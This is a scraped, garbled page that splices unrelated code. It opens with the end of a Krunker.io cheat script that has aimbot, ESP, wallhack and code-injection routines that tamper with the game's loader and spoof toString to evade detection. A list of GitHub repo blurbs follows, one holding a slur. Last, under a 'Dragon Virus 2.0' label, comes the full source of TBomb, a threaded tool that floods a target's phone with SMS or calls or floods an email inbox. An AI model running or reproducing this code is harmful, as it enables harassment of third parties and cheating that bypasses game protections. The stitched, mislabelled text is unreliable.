CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
TheSpeedX / InshA Command Line Tool That Insults You When You Type Wrong Commands
TheSpeedX / IMAP CheckerA Web API For Checking Combos by IMAP
nandydark / RussianbomberThis is an sms ddoser or sms bomber but better then that nooby nigga Speedx's (TattiBomb=TBOMB) I am working on international bomber..so stay tuned with me and don't forget to follow my github --> github.com/nandydark and @nandydark on telegram
samay825 / URL MaskerURL Masker is a lightweight tool that helps you mask or hide original URLs behind custom, user-friendly links. Perfect for enhancing security, avoiding suspicious-looking links, and creating branded or clean URLs for social media, emails, and marketing campaigns.
rtulke / ProxyreaperA powerful proxy checker that checks and evaluates proxies for speed, availability, and anonymity across multiple protocols (HTTP, HTTPS, SOCKS4, SOCKS5).
uttamsaha / Speedx ManufacturerThis is a manufacturing management system Web Application using MERN Stack
zainab0077 / Zuro SpeedX 🏎️ A high-speed car racing game built with Python, Java, HTML, and CSS. Experience thrilling drifts, dynamic tracks, and real-time challenges!
Anonymous69-hub / Dragon Virus 2.01eh6mqlqs5@xdsedr.tech#!/usr/bin/python # -*- coding: UTF-8 -*- import os import shutil import sys import subprocess import string import random import json import re import time import argparse import zipfile from io import BytesIO from concurrent.futures import ThreadPoolExecutor, as_completed from utils.decorators import MessageDecorator from utils.provider import APIProvider try: import requests from colorama import Fore, Style except ImportError: print("\tSome dependencies could not be imported (possibly not installed)") print( "Type `pip3 install -r requirements.txt` to " " install all required packages") sys.exit(1) def readisdc(): with open("isdcodes.json") as file: isdcodes = json.load(file) return isdcodes def get_version(): try: return open(".version", "r").read().strip() except Exception: return '1.0' def clr(): if os.name == "nt": os.system("cls") else: os.system("clear") def bann_text(): clr() logo = """ ████████ █████ ██ ▒▒▒██▒▒▒ ██▒▒██ ██ ██ ██ ██ ██ ██ ██ ██ █████▒ ████ ███ ███ █████ ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ ██ █████▒ ▒████▒ ██ ██ █████▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ """ if ASCII_MODE: logo = "" version = "Version: "+__VERSION__ contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) print(random.choice(ALL_COLORS) + logo + RESET_ALL) mesgdcrt.SuccessMessage(version) mesgdcrt.SectionMessage(contributors) print() def check_intr(): try: requests.get("https://motherfuckingwebsite.com") except Exception: bann_text() mesgdcrt.FailureMessage("Poor internet connection detected") sys.exit(2) def format_phone(num): num = [n for n in num if n in string.digits] return ''.join(num).strip() def do_zip_update(): success = False if DEBUG_MODE: zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" dir_name = "TBomb-dev" else: zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" dir_name = "TBomb-master" print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) response = requests.get(zip_url) if response.status_code == 200: zip_content = response.content try: with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: for member in zip_file.namelist(): filename = os.path.split(member) if not filename[1]: continue new_filename = os.path.join( filename[0].replace(dir_name, "."), filename[1]) source = zip_file.open(member) target = open(new_filename, "wb") with source, target: shutil.copyfileobj(source, target) success = True except Exception: mesgdcrt.FailureMessage("Error occured while extracting !!") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage( "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") sys.exit() def do_git_update(): success = False try: print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while process: print(ALL_COLORS[0]+'.'+RESET_ALL, end='') time.sleep(1) returncode = process.poll() if returncode is not None: break success = not process.returncode except Exception: success = False print("\n") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage("Make Sure To Install 'git' ") mesgdcrt.GeneralMessage("Then run command:") print( "git checkout . && " "git pull https://github.com/TheSpeedX/TBomb.git HEAD") sys.exit() def update(): if shutil.which('git'): do_git_update() else: do_zip_update() def check_for_updates(): if DEBUG_MODE: mesgdcrt.WarningMessage( "DEBUG MODE Enabled! Auto-Update check is disabled.") return mesgdcrt.SectionMessage("Checking for updates") fver = requests.get( "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" ).text.strip() if fver != __VERSION__: mesgdcrt.WarningMessage("An update is available") mesgdcrt.GeneralMessage("Starting update...") update() else: mesgdcrt.SuccessMessage("TBomb is up-to-date") mesgdcrt.GeneralMessage("Starting TBomb") def notifyen(): try: if DEBUG_MODE: url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" else: url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" noti = requests.get(url).text.upper() if len(noti) > 10: mesgdcrt.SectionMessage("NOTIFICATION: " + noti) print() except Exception: pass def get_phone_info(): while True: target = "" cc = input(mesgdcrt.CommandMessage( "Enter your country code (Without +): ")) cc = format_phone(cc) if not country_codes.get(cc, False): mesgdcrt.WarningMessage( "The country code ({cc}) that you have entered" " is invalid or unsupported".format(cc=cc)) continue target = input(mesgdcrt.CommandMessage( "Enter the target number: +" + cc + " ")) target = format_phone(target) if ((len(target) <= 6) or (len(target) >= 12)): mesgdcrt.WarningMessage( "The phone number ({target})".format(target=target) + "that you have entered is invalid") continue return (cc, target) def get_mail_info(): mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' while True: target = input(mesgdcrt.CommandMessage("Enter target mail: ")) if not re.search(mail_regex, target, re.IGNORECASE): mesgdcrt.WarningMessage( "The mail ({target})".format(target=target) + " that you have entered is invalid") continue return target def pretty_print(cc, target, success, failed): requested = success+failed mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("Target : " + cc + " " + target) mesgdcrt.GeneralMessage("Sent : " + str(requested)) mesgdcrt.GeneralMessage("Successful : " + str(success)) mesgdcrt.GeneralMessage("Failed : " + str(failed)) mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") mesgdcrt.SuccessMessage("TBomb was created by SpeedX") def workernode(mode, cc, target, count, delay, max_threads): api = APIProvider(cc, target, mode, delay=delay) clr() mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("API Version : " + api.api_version) mesgdcrt.GeneralMessage("Target : " + cc + target) mesgdcrt.GeneralMessage("Amount : " + str(count)) mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds") mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") print() input(mesgdcrt.CommandMessage( "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) if len(APIProvider.api_providers) == 0: mesgdcrt.FailureMessage("Your country/target is not supported yet") mesgdcrt.GeneralMessage("Feel free to reach out to us") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() success, failed = 0, 0 while success < count: with ThreadPoolExecutor(max_workers=max_threads) as executor: jobs = [] for i in range(count-success): jobs.append(executor.submit(api.hit)) for job in as_completed(jobs): result = job.result() if result is None: mesgdcrt.FailureMessage( "Bombing limit for your target has been reached") mesgdcrt.GeneralMessage("Try Again Later !!") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() if result: success += 1 else: failed += 1 clr() pretty_print(cc, target, success, failed) print("\n") mesgdcrt.SuccessMessage("Bombing completed!") time.sleep(1.5) bann_text() sys.exit() def selectnode(mode="sms"): mode = mode.lower().strip() try: clr() bann_text() check_intr() check_for_updates() notifyen() max_limit = {"sms": 500, "call": 15, "mail": 200} cc, target = "", "" if mode in ["sms", "call"]: cc, target = get_phone_info() if cc != "91": max_limit.update({"sms": 100}) elif mode == "mail": target = get_mail_info() else: raise KeyboardInterrupt limit = max_limit[mode] while True: try: message = ("Enter number of {type}".format(type=mode.upper()) + " to send (Max {limit}): ".format(limit=limit)) count = int(input(mesgdcrt.CommandMessage(message)).strip()) if count > limit or count == 0: mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format( type=mode.upper())) mesgdcrt.GeneralMessage( "Automatically capping the value" " to {limit}".format(limit=limit)) count = limit delay = float(input( mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) .strip()) # delay = 0 max_thread_limit = (count//10) if (count//10) > 0 else 1 max_threads = int(input( mesgdcrt.CommandMessage( "Enter Number of Thread (Recommended: {max_limit}): " .format(max_limit=max_thread_limit))) .strip()) max_threads = max_threads if ( max_threads > 0) else max_thread_limit if (count < 0 or delay < 0): raise Exception break except KeyboardInterrupt as ki: raise ki except Exception: mesgdcrt.FailureMessage("Read Instructions Carefully !!!") print() workernode(mode, cc, target, count, delay, max_threads) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() mesgdcrt = MessageDecorator("icon") if sys.version_info[0] != 3: mesgdcrt.FailureMessage("TBomb will work only in Python v3") sys.exit() try: country_codes = readisdc()["isdcodes"] except FileNotFoundError: update() __VERSION__ = get_version() __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] RESET_ALL = Style.RESET_ALL ASCII_MODE = False DEBUG_MODE = False description = """TBomb - Your Friendly Spammer Application TBomb can be used for many purposes which incudes - \t Exposing the vulnerable APIs over Internet \t Friendly Spamming \t Testing Your Spam Detector and more .... TBomb is not intented for malicious uses. """ parser = argparse.ArgumentParser(description=description, epilog='Coded by SpeedX !!!') parser.add_argument("-sms", "--sms", action="store_true", help="start TBomb with SMS Bomb mode") parser.add_argument("-call", "--call", action="store_true", help="start TBomb with CALL Bomb mode") parser.add_argument("-mail", "--mail", action="store_true", help="start TBomb with MAIL Bomb mode") parser.add_argument("-ascii", "--ascii", action="store_true", help="show only characters of standard ASCII set") parser.add_argument("-u", "--update", action="store_true", help="update TBomb") parser.add_argument("-c", "--contributors", action="store_true", help="show current TBomb contributors") parser.add_argument("-v", "--version", action="store_true", help="show current TBomb version") if __name__ == "__main__": args = parser.parse_args() if args.ascii: ASCII_MODE = True mesgdcrt = MessageDecorator("stat") if args.version: print("Version: ", __VERSION__) elif args.contributors: print("Contributors: ", " ".join(__CONTRIBUTORS__)) elif args.update: update() elif args.mail: selectnode(mode="mail") elif args.call: selectnode(mode="call") elif args.sms: selectnode(mode="sms") else: choice = "" avail_choice = { "1": "SMS", "2": "CALL", "3": "MAIL" } try: while (choice not in avail_choice): clr() bann_text() print("Available Options:\n") for key, value in avail_choice.items(): print("[ {key} ] {value} BOMB".format(key=key, value=value)) print() choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) selectnode(mode=avail_choice[choice].lower()) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() sys.exit()
